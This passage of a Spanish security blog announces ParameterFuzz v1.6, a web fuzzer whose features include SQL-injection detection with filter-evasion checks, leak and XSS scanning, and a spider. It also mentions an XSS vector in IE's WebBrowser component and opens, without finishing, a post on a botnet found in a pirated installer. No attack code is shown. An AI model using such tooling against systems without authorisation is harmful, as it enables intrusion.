<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7jRUvm1nX_0FLCdZecZNxjX-uWxZNhd1YfLMTvtc1_2T4Ybhdryn7tbgu8Nu75dcapurfI6myv2sKB-OprsS-MdOhFBYW8x3esIM7jdDGFC8Hx9VVtZzojcma5i2yAMWvKixwGTuni4zK/s1600/ParameterFuzz%252B3b.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="456" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7jRUvm1nX_0FLCdZecZNxjX-uWxZNhd1YfLMTvtc1_2T4Ybhdryn7tbgu8Nu75dcapurfI6myv2sKB-OprsS-MdOhFBYW8x3esIM7jdDGFC8Hx9VVtZzojcma5i2yAMWvKixwGTuni4zK/s640/ParameterFuzz%252B3b.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">La herramienta de </span><i style="font-family: 'Courier New', Courier, monospace;">Spider</i><span style="font-family: 'Courier New', Courier, monospace;">
que aparece en Parameterfuzz, no podía ser despreciada de un lavado de cara. Se
agregaron opciones como la de extracción automatizada de fugas en URL o la de páginas
que contengan parámetros a los que atacar.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1EjumxKX3iBtOwL2VwAU01Ab5PDAakQcnqhgMZ0QA2NOeV6IJ_NiUaaEyX8Ev6wlw3IqJuEQ-abqMLp9CmkKd-sPYgeGeAldTFhXBZj0oda-2wfZmZ9I6PJ_zhf8W80oQvHLArTDtfVJl/s1600/ParameterFuzz%252B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1EjumxKX3iBtOwL2VwAU01Ab5PDAakQcnqhgMZ0QA2NOeV6IJ_NiUaaEyX8Ev6wlw3IqJuEQ-abqMLp9CmkKd-sPYgeGeAldTFhXBZj0oda-2wfZmZ9I6PJ_zhf8W80oQvHLArTDtfVJl/s640/ParameterFuzz%252B4.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Además de la posibilidad de navegar realizando un doble clic
sobre los links extraídos y los controles de navegación atrás, adelante o
refrescar.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxHB1SkWyAiwa1lfQS3LL1FJXdla_rWhxrLdouupCTDRfKCtbjXZ5mcJe36l9N4FVGi6upnx7D-i12wF2lVB7hwa5_uX-KBZyS5N2c3TktsSG9aU8tHQeq1qYTpQ1EPC4j5HrWPyAv_J2w/s1600/ParameterFuzz%252B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxHB1SkWyAiwa1lfQS3LL1FJXdla_rWhxrLdouupCTDRfKCtbjXZ5mcJe36l9N4FVGi6upnx7D-i12wF2lVB7hwa5_uX-KBZyS5N2c3TktsSG9aU8tHQeq1qYTpQ1EPC4j5HrWPyAv_J2w/s1600/ParameterFuzz%252B5.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Es gracioso pero el otro día haciendo pruebas, me di cuenta
de que el componente WebBowser de Internet Explorer, es vulnerable a </span><i style="font-family: 'Courier New', Courier, monospace;">Cross Site Scripting</i><span style="font-family: 'Courier New', Courier, monospace;"> si se utiliza el
método </span><i style="font-family: 'Courier New', Courier, monospace;">about</i><span style="font-family: 'Courier New', Courier, monospace;"> en la barra de
direcciones. </span><i style="font-family: 'Courier New', Courier, monospace;">¿Recuerdan el about:blank?</i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1orS-IrWL8uxOoxmt9r6L1raDnA6Is1v478oIAQ3pfyd9cEtg_FzcRAqGYaMM1sOWLZeG3_4hTDTWEeHX9Wu-2FZfgWQPVK4j7p2nz1LjL96NBbuHBs4NEoIyXbbpBMRpDFuefiD5HMyI/s1600/ParameterFuzz%252B6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1orS-IrWL8uxOoxmt9r6L1raDnA6Is1v478oIAQ3pfyd9cEtg_FzcRAqGYaMM1sOWLZeG3_4hTDTWEeHX9Wu-2FZfgWQPVK4j7p2nz1LjL96NBbuHBs4NEoIyXbbpBMRpDFuefiD5HMyI/s640/ParameterFuzz%252B6.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga: <o:p></o:p></span><a href="https://code.google.com/p/parameterfuzz/downloads/list"><span style="font-family: Courier New, Courier, monospace;">https://code.google.com/p/parameterfuzz/downloads/list</span></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com2tag:blogger.com,1999:blog-2707641124274171597.post-71190551066697879552013-07-27T16:57:00.000+02:002013-07-27T16:57:12.006+02:00ParameterFuzz v1.6<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La verdad que llevo diez minutos mirando al techo pensando
en cómo empezar esta entrada, para de alguna manera hacerles llegar un mensaje que
crease una situación de bienestar involuntario cada vez que escuchaseis
<b>ParameterFuzz</b>. Como no me puedo colar en vuestras casas y prender un incienso
que entone una situación de placebo, les regalo la última versión de mi software
para que la prueben.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Odio el rollito comercial, así que el fin principal de este
post aparte de presentaros las nuevas utilidades de ParameterFuzz, será exponer
en forma de manual de instrucciones sin llegar a detallar, cuáles son las
herramientas que lo forman.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El desplegable <i>Tools</i>, muestra actualmente el siguiente
aspecto.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2tTT_OKuHk25nE11niiKN-sQE_HHThaIhhyc_uc07vEU_IFQXRn6tKni-J2iA84ElVeeD59Pc9voAmkcMGJMf0pc3M3Oox5IYEhH7-RcfhUc76JsxzVXlLc7RnbZKlNdCnn3xSmqL7F-q/s1600/ParameterFuzz+0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2tTT_OKuHk25nE11niiKN-sQE_HHThaIhhyc_uc07vEU_IFQXRn6tKni-J2iA84ElVeeD59Pc9voAmkcMGJMf0pc3M3Oox5IYEhH7-RcfhUc76JsxzVXlLc7RnbZKlNdCnn3xSmqL7F-q/s320/ParameterFuzz+0.png" width="320" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Entrando en primera instancia con los cambios y cosas
nuevas, nos toparemos con el extractor de </span><b style="font-family: 'Courier New', Courier, monospace;">INPUTs </b><span style="font-family: 'Courier New', Courier, monospace;">de las páginas de respuesta,
el cual muestra las variables utilizadas. Por comodidad del auditor, si esta
herramienta encuentra algún parámetro disponible, automáticamente aparecerá un
botón con el fin de utilizarlas como diccionario para próximos ataques. El
anterior diccionario es guardado tras una extensión </span><i style="font-family: 'Courier New', Courier, monospace;">BAK</i><span style="font-family: 'Courier New', Courier, monospace;">, en el directorio de
diccionarios.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFRB9lKSt6JYCaQH7hrHxf4Aeb9uy0pIZoEiHWtlkKQAhKwIfFLr6eVch2rIGA5bx_PeZmrUD3NXeI31jPcRbMZRdBT40K1hejF3rxiEGo50C6_xVyTmupivnw6uVGRhl_x7Ga7gBTco9-/s1600/ParameterFuzz%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="454" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFRB9lKSt6JYCaQH7hrHxf4Aeb9uy0pIZoEiHWtlkKQAhKwIfFLr6eVch2rIGA5bx_PeZmrUD3NXeI31jPcRbMZRdBT40K1hejF3rxiEGo50C6_xVyTmupivnw6uVGRhl_x7Ga7gBTco9-/s640/ParameterFuzz%252B1.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Otra de las innovaciones con la cual estoy muy contento, ha
sido la de incluir una aplicación con capacidad para detectar posibles
vulnerabilidades de </span><b style="font-family: 'Courier New', Courier, monospace;">SQL Injection</b><span style="font-family: 'Courier New', Courier, monospace;">. Esta herramienta realiza siete
comprobaciones diferentes incluyendo sintaxis pensadas para evasión de filtros.
Hace todo lo que yo compruebo, antes de explotar esta vulnerabilidad.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh71f2syLEnZbweo9hId6jFm4puytgWDQSXWPk0gP2DU7PtI0TPi6x1-teDtWVgKNwcSy3D-86ZO00fD2IPp0qZlDnRGgcvMkyF_zELBzfUMtHO4CGjYOAKrZwtXfexFji_0cBnxEK04kgF/s1600/ParameterFuzz%252B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh71f2syLEnZbweo9hId6jFm4puytgWDQSXWPk0gP2DU7PtI0TPi6x1-teDtWVgKNwcSy3D-86ZO00fD2IPp0qZlDnRGgcvMkyF_zELBzfUMtHO4CGjYOAKrZwtXfexFji_0cBnxEK04kgF/s640/ParameterFuzz%252B2.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Como ven he agregado un botón de acceso rápido, para enviar
al igual que en el caso del Spider, las url al detector.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Es posible utilizar la sintaxis <i>%Inject%</i>, para seleccionar
el punto de inyección, tanto en peticiones <b>GET </b>como en <b>POST</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4w6vDo6fdPA8VO5a4JWo3Vy8NHJ2BU26NdcS8DAehErPETP6yyf85NrUIq6mIx_-9QvkyKj6MABJYn9dvEoZcpZNxSI9mdQpKqSFDjmU9z3D3OunV8jlvWI3f1a8u00Wg41eDCW0jbSix/s1600/ParameterFuzz%252B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4w6vDo6fdPA8VO5a4JWo3Vy8NHJ2BU26NdcS8DAehErPETP6yyf85NrUIq6mIx_-9QvkyKj6MABJYn9dvEoZcpZNxSI9mdQpKqSFDjmU9z3D3OunV8jlvWI3f1a8u00Wg41eDCW0jbSix/s640/ParameterFuzz%252B3.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Una de las cosas agregadas, es un scanner pasivo vinculado a
la nueva herramienta detectora de fugas. Esta se encargará de examinar el
contenido de las páginas cargadas por el navegador de ParameterFuzz, con el fin
de encontrar errores de sintaxis SQL, mensajes de error, códigos fuente o
inclusive llegando en algunos casos a detectar vulnerabilidades de Cross Site
Scripting. He incluido una imagen con la </span><b style="font-family: 'Courier New', Courier, monospace;">máscara de V de Vendetta</b><span style="font-family: 'Courier New', Courier, monospace;">, la cual
aparecerá según utilicemos la herramienta cada vez que se detecten fugas “leaks”.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3nwRMDP8JbTvMALWHbsgGxZ6UMOf7Vq1MtMtPLuOi7PQd3xSlcNmeFeTwwfDHzSYDVeyel6iQ_yfwzQE4RfIVnSEhnd6TzlZUOcqwn1hAkE__UndzDnhCdgf70G8edF75ZdrYY2o4tjkk/s1600/ParameterFuzz%252B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3nwRMDP8JbTvMALWHbsgGxZ6UMOf7Vq1MtMtPLuOi7PQd3xSlcNmeFeTwwfDHzSYDVeyel6iQ_yfwzQE4RfIVnSEhnd6TzlZUOcqwn1hAkE__UndzDnhCdgf70G8edF75ZdrYY2o4tjkk/s640/ParameterFuzz%252B4.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Una vez detectadas las fugas o vulnerabilidades, esta herramienta nos da la posibilidad
de buscar en el código fuente donde se hallaron.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnb0dDtER_iNYHXLbeo2z_0xxR_b4uTo1F1NX6G7UBErtcvNKlnV62upY_HJBQpMHviIW1JJVuvatfX1T4DhT-crHpBM8YXBqtWi1NpvJ_Pu2UwBdH3TN6k75GhO9WOftJf9-p1hVIILll/s1600/ParameterFuzz%252B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnb0dDtER_iNYHXLbeo2z_0xxR_b4uTo1F1NX6G7UBErtcvNKlnV62upY_HJBQpMHviIW1JJVuvatfX1T4DhT-crHpBM8YXBqtWi1NpvJ_Pu2UwBdH3TN6k75GhO9WOftJf9-p1hVIILll/s640/ParameterFuzz%252B5.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Si utilizamos el modo automático de envío de parámetros, al
revisar los logs, es posible que aparezca la palabra “leak!”. Esto ocurrirá
siempre y cuando se detectasen fugas, para dejar constancia al auditor de que
al replicar esa petición, encontrará algo de relevancia.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv0MU4iS34RsrCCnIcFN7UT23iB_W6z601k0YMBNbOiKReS5cBnMv5xJBDmpA6w3GjQwQ8_vIX2mkHLokarUZzf2XN1JZs0P5PN2dTdn3JqNzp4e6vfN9Ax9o85nJyLaLSBsFR9XCUNx0a/s1600/ParameterFuzz%252B6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgv0MU4iS34RsrCCnIcFN7UT23iB_W6z601k0YMBNbOiKReS5cBnMv5xJBDmpA6w3GjQwQ8_vIX2mkHLokarUZzf2XN1JZs0P5PN2dTdn3JqNzp4e6vfN9Ax9o85nJyLaLSBsFR9XCUNx0a/s320/ParameterFuzz%252B6.png" width="320" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">La siguiente imagen se trata de una página la cual contiene
errores.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNAVNNE30dKj5OrFU-0mcUEHgYYYGdkqjAUlQugywEScx9T_uk_3bRn0EvrVHYWJpMRf-IDbDERBHLmrkrjJOIViSnzRuyVU8cuyr3Zt1TkT1k-KfQ5Fcs8LWdEhVAJjr7JZTGGTQwn9Zb/s1600/ParameterFuzz%252B7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNAVNNE30dKj5OrFU-0mcUEHgYYYGdkqjAUlQugywEScx9T_uk_3bRn0EvrVHYWJpMRf-IDbDERBHLmrkrjJOIViSnzRuyVU8cuyr3Zt1TkT1k-KfQ5Fcs8LWdEhVAJjr7JZTGGTQwn9Zb/s640/ParameterFuzz%252B7.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">He eliminado el módulo CScoketMaster y la opción de enviar
peticiones desde el editor. Pienso que la herramienta quedará mucho más limpia
sin esta utilidad la cual personalmente no le daba uso. A parte de eliminar
curl.exe, Avira Antivir parece que empieza a querer a ParameterFuzz =)</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Recordarles, que se disponen de herramientas como “Add
Header”, para enviar nuevas cabeceras en las peticiones.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggK1I0YSGWMsp2LHgKLsOVbkaSG1cx0p4Y2TcYvnYnpNeLozmBgXZOIW8wQHIEsf6hXZk-aHlQ4C33kqDacitPVFoxzJ_669zQrK8l1I5-eDCiJonOQhcJUSbaydfxtz-_rbA7lPhI_EGn/s1600/ParameterFuzz%252B8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggK1I0YSGWMsp2LHgKLsOVbkaSG1cx0p4Y2TcYvnYnpNeLozmBgXZOIW8wQHIEsf6hXZk-aHlQ4C33kqDacitPVFoxzJ_669zQrK8l1I5-eDCiJonOQhcJUSbaydfxtz-_rbA7lPhI_EGn/s640/ParameterFuzz%252B8.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Una herramienta para realizar codificaciones y
decodificaciones de strings.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQoDU55TVVjPLywT9nYjf41n0AukdV0_RK4SydYNFJxW_OwQ_nLr539ZaQ0-jkLtd6i0e63JPt4ruKJUr5QkAIzjJcPbHWqNX-GzEjGdBbDXDiGC7J1jSfMeWW2xiC85xCt5HJSB_gzaMl/s1600/ParameterFuzz%252B9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQoDU55TVVjPLywT9nYjf41n0AukdV0_RK4SydYNFJxW_OwQ_nLr539ZaQ0-jkLtd6i0e63JPt4ruKJUr5QkAIzjJcPbHWqNX-GzEjGdBbDXDiGC7J1jSfMeWW2xiC85xCt5HJSB_gzaMl/s640/ParameterFuzz%252B9.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Y la herramienta Spider para navegar de forma activa
enviando los links al navegador principal.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRNofRECY4qQWfOkNvM2nVsxOLs8vLLnsKhdvyf9BBw5rT2Po5UdUJhKJQhFrmIG57CR9cnKeIQrrMFiVMKHCRsHHeuc2NEND4whdSb_EAlw-3KEgudp8sHXbM1H2M-hSl8niYW_HnUD50/s1600/ParameterFuzz%252B10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRNofRECY4qQWfOkNvM2nVsxOLs8vLLnsKhdvyf9BBw5rT2Po5UdUJhKJQhFrmIG57CR9cnKeIQrrMFiVMKHCRsHHeuc2NEND4whdSb_EAlw-3KEgudp8sHXbM1H2M-hSl8niYW_HnUD50/s640/ParameterFuzz%252B10.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Espero que la descarguen pues sinceramente, yo utilizo mi
herramienta xD</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga:
<a href="https://parameterfuzz.googlecode.com/files/ParameterFuzz%20v1.6.zip">https://parameterfuzz.googlecode.com/files/ParameterFuzz%20v1.6.zip</a></span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)
</span></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com11tag:blogger.com,1999:blog-2707641124274171597.post-19082759842582214362013-06-30T15:36:00.000+02:002013-06-30T15:39:34.050+02:00Destripando una Botnet<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]-->
<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><i>¿Qué pasa chavales?</i>
Aquí ando… en la terraza sentado de buen royo, al sol como los lagartos,
escuchando al Tote y dedicando este mi tiempo a contentaros. Colacao en mano
para limpiarme del sábado, que caipirinhas ayer caliente me dejaron. Esperando
como todo buen español, a las 0:0, esta vez Mahou y con alcohol por favor, sino
no la quiero. Desde chico con el FIFA, soñando toda mi vida una final contra
Brasil, llega el día menos pensado y no sé con qué equipo ir.</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Esta entrada se venía labrando desde el partido contra
Uruguay, y es que va a ser cierto que los hombres no sabemos hacer dos cosas a
la vez, eso de descargar software pirata para la preparatoria de un curso y ver
a <a href="http://www.radiopanamericana.com/j/images/galerias/2013-06-27_-1372348704.jpg">Neymar tirando besos voladores</a> con el rabillo del ojo… puede traer serios
problemas, y más si vamos con prisas.</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Mientras buscaba mi aplicación, llegué a una página la cual
me inspiró total confianza para realizar la descarga e instalarla. Según el
proceso de instalación iba marcando su barra de progreso, me alarmó un error <b>Run-time 5</b>, de los de toda la vida… ósea,
en <b>Visual Basic</b>. Me quedé
petrificado y no es por decorar el texto, sino que en ese momento deduje que un
malware <i>bindeado</i> al ejecutable de
instalación saltaba en añicos, con lo que posiblemente me hubiesen colado
cualquier otra cosa.</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">Aprovechando el tiempo de mi paja mental, hubo suerte en
que el desarrollador del supuesto malware, pusiera el mismo nombre al
ejecutable que al título del proyecto, y es que en estas ventanas de error, se
muestra el título del formulario principal de las aplicaciones. Dirigiéndome al
administrador de tareas, botón derecho y “Abrir la ubicación del archivo”,
llegué hasta una carpeta ubicada en AppData del usuario actual, donde no es necesario
otros permisos para alertar al usuario. Me encontré con el siguiente panorama…</span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;">
</span></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipk09uq3TwN4UynGv8Aj0fgqr6sSJRLasWcCHjzCtJKz7zj5qvPGcBChKHJdTxdFYy0aGw_rCCublkzzfGR8zHtW8c530laCvYsE7Sf8uYX-W8ShGHu4oAlwn7Q_dkuU_Uehd0spIo4hHk/s421/0-archivos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipk09uq3TwN4UynGv8Aj0fgqr6sSJRLasWcCHjzCtJKz7zj5qvPGcBChKHJdTxdFYy0aGw_rCCublkzzfGR8zHtW8c530laCvYsE7Sf8uYX-W8ShGHu4oAlwn7Q_dkuU_Uehd0spIo4hHk/s421/0-archivos.png" /></a></span></div>
<br />
